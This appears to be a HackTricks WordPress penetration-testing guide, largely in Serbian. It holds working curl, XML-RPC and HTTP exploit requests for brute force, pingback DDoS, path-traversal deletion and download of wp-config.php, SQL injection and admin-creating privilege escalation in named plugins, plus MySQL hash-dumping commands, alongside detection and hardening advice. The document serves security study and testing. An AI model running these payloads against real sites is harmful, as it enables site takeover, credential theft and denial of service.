36 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Basic Information
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti taj path. Na primer: Koristeći theme twentytwelve možete access fajl 404.php na: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
U wp-config.php možete naći root lozinku baze podataka.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.wp-activate.php
se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.- Login folders (may be renamed to hide it):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao šemu enkodiranja. Ovaj tip komunikacije je zamenjen WordPress REST API.- Folder
wp-content
je glavna mapa u kojoj se čuvaju plugins i themes. wp-content/uploads/
je direktorijum gde se čuvaju fajlovi koje su učitani na platformu.wp-includes/
Ovo je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widget-i.wp-sitemap.xml
U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post type-ovima i taxonomies.
Post exploitation
- Fajl
wp-config.php
sadrži informacije potrebne WordPress-u za konekciju na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefiks tabela baze podataka. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
Users Permissions
- Administrator
- Editor: Publish and manages his and others posts
- Author: Publish and manage his own posts
- Contributor: Write and manage his posts but cannot publish them
- Subscriber: Browser posts and edit their profile
Passive Enumeration
Get WordPress version
Proverite da li možete pronaći fajlove /license.txt
ili /readme.html
Unutar source code stranice (primer sa https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link datoteke
- JavaScript datoteke
Preuzmi dodatke
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Preuzimanje tema
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Izdvajanje verzija uopšteno
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktivna enumeracija
Dodaci i teme
Verovatno nećete moći da pronađete sve Plugins i Themes koje su moguće. Da biste otkrili sve, moraćete da actively Brute Force a list of Plugins and Themes (nadamo se da za nas postoje automatizovani alati koji sadrže te liste).
Korisnici
- ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing users IDs:
curl -s -I -X GET http://blog.example.com/?author=1
Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevalidan.
- wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users
Još jedan /wp-json/
endpoint koji može otkriti neke informacije o korisnicima je:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. Biće dostupne samo informacije o korisnicima kojima je ova funkcija omogućena.
Takođe imajte na umu da /wp-json/wp/v2/pages može leak IP addresses.
- Login username enumeration: Prilikom prijave na
/wp-login.php
poruka je različita i ukazuje da li korisničko ime postoji ili ne.
XML-RPC
Ako je xml-rpc.php
aktivan možete izvesti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Na primer, možete automatizovati ovaj proces using this).
Da biste proverili da li je aktivan pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:
Provera
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
ili metaWeblog.getUsersBlogs
su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete bilo koju od njih, možete poslati nešto poput:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Poruka "Incorrect username or password" u odgovoru sa statusnim kodom 200 treba да се појави ако креденцијали нису валидни.
Koristeći ispravne kredencijale možete uploadovati fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:

Bypass 2FA
Ova metoda je namenjena programima, a ne ljudima, i stara je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni pristup zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se ulogujete tim creds i zaobiđete 2FA. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Ako možete da pronađete metodu pingback.ping u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da se zamoli hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako se prouzrokuje DDoS na toj lokaciji) ili možete to koristiti da naterate Wordpress da skenira neku internu mrežu (možete navesti bilo koji port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.
Pogledajte upotrebu system.multicall
u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu i izazovete DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ovaj fajl se obično nalazi u korenu Wordpress sajta: /wp-cron.php
Kada se ovom fajlu pristupi, izvršava se "težak" MySQL upit, pa ga napadači mogu iskoristiti da prouzrokuju DoS.
Takođe, podrazumevano se wp-cron.php
poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i napraviti pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne radnje (bez izazivanja problema).
/wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može napraviti zahtev ka vama.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy, i ukoliko postoje, pokušava da ih iskoristi.
Automatski alati
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Dobijanje pristupa prepisivanjem bita
Više je radoznalost nego stvarni napad. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogao si flip-ovati 1 bit u bilo kojem wordpress fajlu. Dakle, mogao si flip-ovati bit na poziciji 5389
fajla /var/www/html/wp-includes/user.php
i time NOP-ovati NOT (!
) operaciju.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modifikovanje php fajla iz korišćene teme (potrebni admin kredencijali)
Appearance → Theme Editor → 404 Template (sa desne strane)
Promeni sadržaj u php shell:
Pretraži internet kako možeš da pristupiš toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Možeš koristiti:
use exploit/unix/webapp/wp_admin_shell_upload
da bi se dobila sesija.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
Then add a new plugin:
Upload plugin and press Install Now:
Click on Procced:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Access it and you will see the URL to execute the reverse shell:
Uploading and activating malicious plugin
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi preko WordPress dashboard-a na sledeći način:
- Plugin Acquisition: Plugin se preuzima sa izvora kao što je Exploit DB, na primer ovde.
- Plugin Installation:
- U WordPress dashboard-u idite na
Dashboard > Plugins > Upload Plugin
. - Otpremite zip fajl preuzetog plugina.
- Plugin Activation: Kada je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
- Exploitation:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, koja daje neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Od XSS do RCE
- WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Pruža support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Kreira korisnika u WordPress-u.
- (RCE) Custom Plugin (backdoor) Upload: Otpremite vaš custom plugin (backdoor) u WordPress.
- (RCE) Built-In Plugin Edit: Uredite ugrađeni plugin u WordPress-u.
- (RCE) Built-In Theme Edit: Uredite ugrađenu temu u WordPress-u.
- (Custom) Custom Exploits: Custom exploit-i za third-party WordPress plugine/teme.
Post Exploitation
Izvucite korisnička imena i lozinke:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Promeni admin lozinku:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Dodaci Pentest
Površina napada
Znati kako Wordpress dodatak može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete videti kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u this blog post.
wp_ajax
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je preko AJAX handlera. Ovi mogu sadržavati greške u logici, autorizaciji ili autentifikaciji. Štaviše, prilično često ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji bilo koji korisnik autentifikovan u Wordpress instanci može imati (bez obzira na njegovu ulogu).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Korišćenje nopriv
čini endpoint dostupnim bilo kojem korisniku (čak i neautentifikovanim).
Caution
Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije
wp_verify_nonce
, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup radnjama visokih privilegija.
- REST API
Takođe je moguće izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
is a callback funkcija koja proverava da li je dati korisnik autorizovan da pozove API metodu.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- Direktan pristup php fajlu
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Neki pluginovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može falsifikovati i pristupiti privilegovanim REST rutama kao administrator.
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
- Primer header-a:
X-Wcpay-Platform-Checkout-User: 1
(forsira korisnički ID 1, obično prvi administratorski nalog). - Eksploatisana ruta:
POST /wp-json/wp/v2/users
sa nizom povišenih uloga.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- Plugin mapira header koji kontroliše klijent na stanje autentifikacije i preskače provere privilegija.
- WordPress core očekuje
create_users
capability za ovu rutu; plugin hack to zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz headera.
Expected success indicators
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u
wp-admin/users.php
.
Detection checklist
- Grep za
getallheaders()
,$_SERVER['HTTP_...']
, ili vendor SDK-ove koji čitaju custom header-e da postave kontekst korisnika (npr.wp_set_current_user()
,wp_set_auth_cookie()
). - Pregledajte REST registracije za privilegovane callback-ove koji nemaju robusne provere
permission_callback
i umesto toga se oslanjaju na request header-e. - Tražite upotrebu core funkcija za upravljanje korisnicima (
wp_insert_user
,wp_create_user
) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Hardening
- Nikada ne izvlačite autentifikaciju ili autorizaciju iz header-a koji kontroliše klijent.
- Ako reverse proxy mora ubaciti identitet, završite poverenje na proxy-ju i uklonite ulazne kopije (npr.
unset X-Wcpay-Platform-Checkout-User
na edge-u), zatim prosledite potpisani token i verifikujte ga na serveru. - Za REST rute koje izvršavaju privilegovane akcije, zahtevajte provere
current_user_can()
i strogipermission_callback
(NE koristite__return_true
). - Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
- Neautentifikovan pristup – the
wp_ajax_nopriv_
hook je registrovan. - No nonce / capability check – bilo koji posetilac može pozvati endpoint.
- Nema sanitizacije putanje – korisnički kontrolisana
fontfamily
string se konkatenira u filesystem putanju bez filtriranja, što omogućava klasičan../../
traversal.
Exploitation
Napadač može obrisati bilo koji fajl ili direktorijum ispod osnovnog uploads direktorijuma (obično <wp-root>/wp-content/uploads/
) slanjem jednog HTTP POST zahteva:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Pošto wp-config.php
živi izvan uploads, četiri ../
sekvence su dovoljne za podrazumevanu instalaciju. Brisanjem wp-config.php
WordPress se pri sledećoj poseti prisiljava da pokrene čarobnjak za instalaciju, što omogućava potpuno preuzimanje sajta (napadač samo obezbeđuje novu DB konfiguraciju i kreira admin korisnika).
Drugi značajni ciljevi uključuju plugin/theme .php
fajlove (npr. da onesposobe security plugins) ili .htaccess
pravila.
Kontrolna lista za detekciju
- Bilo koji
add_action( 'wp_ajax_nopriv_...')
callback koji poziva funkcije za rad sa fajl sistemom (copy()
,unlink()
,$wp_filesystem->delete()
, itd.). - Konkatenacija nesanitizovanih korisničkih inputa u putanjama (tražite
$_POST
,$_GET
,$_REQUEST
). - Nedostatak
check_ajax_referer()
icurrent_user_can()
/is_user_logged_in()
.
Ojačavanje
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Uvek tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via
realpath()
plusstr_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenu promenu role tako što čuvaju originalne role u user meta kako bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. $_REQUEST['reset-for']
) i liste koju održava plugin bez provere capabilities i validnog nonce-a, ovo postaje vertical privilege escalation.
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana vraćala je role na osnovu reset-for=<username>
ako se korisničko ime pojavilo u internoj nizu $options['viewing_admin_as_role_are']
, ali nije izvršila ni current_user_can()
proveru ni nonce verifikaciju pre uklanjanja trenutnih rola i ponovnog dodavanja sačuvanih rola iz user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Zašto je iskoristivo
- Veruje
$_REQUEST['reset-for']
i opciji plugina bez autorizacije na serverskoj strani. - Ako je korisnik ranije imao veće privilegije sačuvane u
_asenha_view_admin_as_original_roles
i kasnije mu je smanjen nivo, može ih vratiti tako što će pozvati reset path. - U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u
viewing_admin_as_role_are
(neispravna autorizacija).
Preduslovi napada
- Ranjiva verzija plugina sa omogućenом funkcionalnošću.
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u user meta iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset flow-u.
Eksploatacija (primer)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Na ranjivim buildovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. administrator
), što dovodi do eskalacije privilegija.
Detection checklist
- Tražite funkcije za prebacivanje uloga koje čuvaju “original roles” u user meta (npr.
_asenha_view_admin_as_original_roles
). - Identifikujte putanje za reset/restore koje:
- Čitaju korisnička imena iz
$_REQUEST
/$_GET
/$_POST
. - Menjaju uloge preko
add_role()
/remove_role()
bezcurrent_user_can()
iwp_verify_nonce()
/check_admin_referer()
. - Autorizuju se na osnovu plugin option niza (npr.
viewing_admin_as_role_are
) umesto na osnovu capabilities izvršioca.
Hardening
- Obavezno proveravajte capabilities za svaki deo koda koji menja stanje (npr.
current_user_can('manage_options')
ili strože). - Zahtevajte nonces za sve izmene uloga/dozvola i verifikujte ih:
check_admin_referer()
/wp_verify_nonce()
. - Nikad ne verujte korisničkim imenima poslatim u requestu; razrešite ciljног korisnika server-side na osnovu autentifikovanog aktera i eksplicitne politike.
- Poništite stanje “original roles” pri ažuriranju profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Razmislite o čuvanju minimalnog stanja i korišćenju vremenski ograničenih tokena, zaštićenih pomoću capability, za privremene promene uloga.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Neki plugins povezuju user-switching helper-e na javni init
hook i izvlače identitet iz client-controlled cookie-ja. Ako kod pozove wp_set_auth_cookie()
bez provere authentication, capability i validnog nonce-a, bilo koji neautentifikovani posetilac može prisilno da se uloguje kao proizvoljan user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Zašto je moguće iskoristiti
- Javni
init
hook čini handler dostupnim neautentifikovanim korisnicima (nema provereis_user_logged_in()
). - Identitet se izvodi iz kolačića koji klijent može menjati (
original_user_id
). - Direktan poziv
wp_set_auth_cookie($uid)
prijavljuje zahtevaoca kao tog korisnika bez provera capability/nonce.
Eksploatacija (bez autentifikacije)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Razmatranja WAF-a za WordPress/plugin CVE-ove
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokorizične WordPress/plugin ranjivosti su greške specifične za aplikacionu logiku ili autorizaciju koje izgledaju kao benigni saobraćaj, osim ako mehanizam ne razume WordPress rute i semantiku plugina.
Ofanzivne napomene
- Ciljajte endpoint-e specifične za plugin sa čistim payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Prvo testirajte neautentifikovane puteve (AJAX
nopriv
, REST sa permisivnimpermission_callback
, public shortcodes). Default payloads često uspevaju bez obfuskacije. - Tipični slučajevi visokog uticaja: eskalacija privilegija (broken access control), arbitrary file upload/download, LFI, open redirect.
Odbrambene napomene
- Nemojte se oslanjati na generičke WAF potpise da štite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
Zaštita WordPress-a
Redovna ažuriranja
Uverite se da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Takođe, instalirajte samo pouzdane WordPress plugine i teme.
Sigurnosni dodaci
Ostale preporuke
- Uklonite podrazumevanog admin korisnika
- Koristite jake lozinke i 2FA
- Periodično pregledajte dozvole korisnika
- Ograničite pokušaje prijave da sprečite Brute Force napade
- Preimenujte fajl
wp-admin.php
i dozvolite pristup samo interno ili sa određenih IP adresa.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin izložio je zadatak savecategory koji na kraju izvršava sledeći ranjivi kod unutar modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemi uvedeni ovim isječkom:
- Nesanitizovan korisnički unos –
parentid
dolazi direktno iz HTTP zahteva. - Konkatenacija stringova u WHERE klauzuli – nema
is_numeric()
/esc_sql()
/ prepared statement. - Mogućnost pristupa bez autentikacije – iako se akcija izvršava preko
admin-post.php
, jedina provera je CSRF nonce (wp_verify_nonce()
), koju bilo koji posetilac može preuzeti sa javne stranice koja sadrži shortcode[wpjobportal_my_resumes]
.
Eksploatacija
- Preuzmite svež nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injektujte proizvoljan SQL zloupotrebom
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, downloadcustomfile, omogućavao je posetiocima da preuzmu bilo koju datoteku na disku putem path traversal. Ranjivi sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
je kontrolisan od strane napadača i spojen bez sanitizacije. Opet, jedino ograničenje je CSRF nonce koji se može dobiti sa stranice rezimea.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Server vraća sadržaj wp-config.php
, leaking DB credentials i auth keys.
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}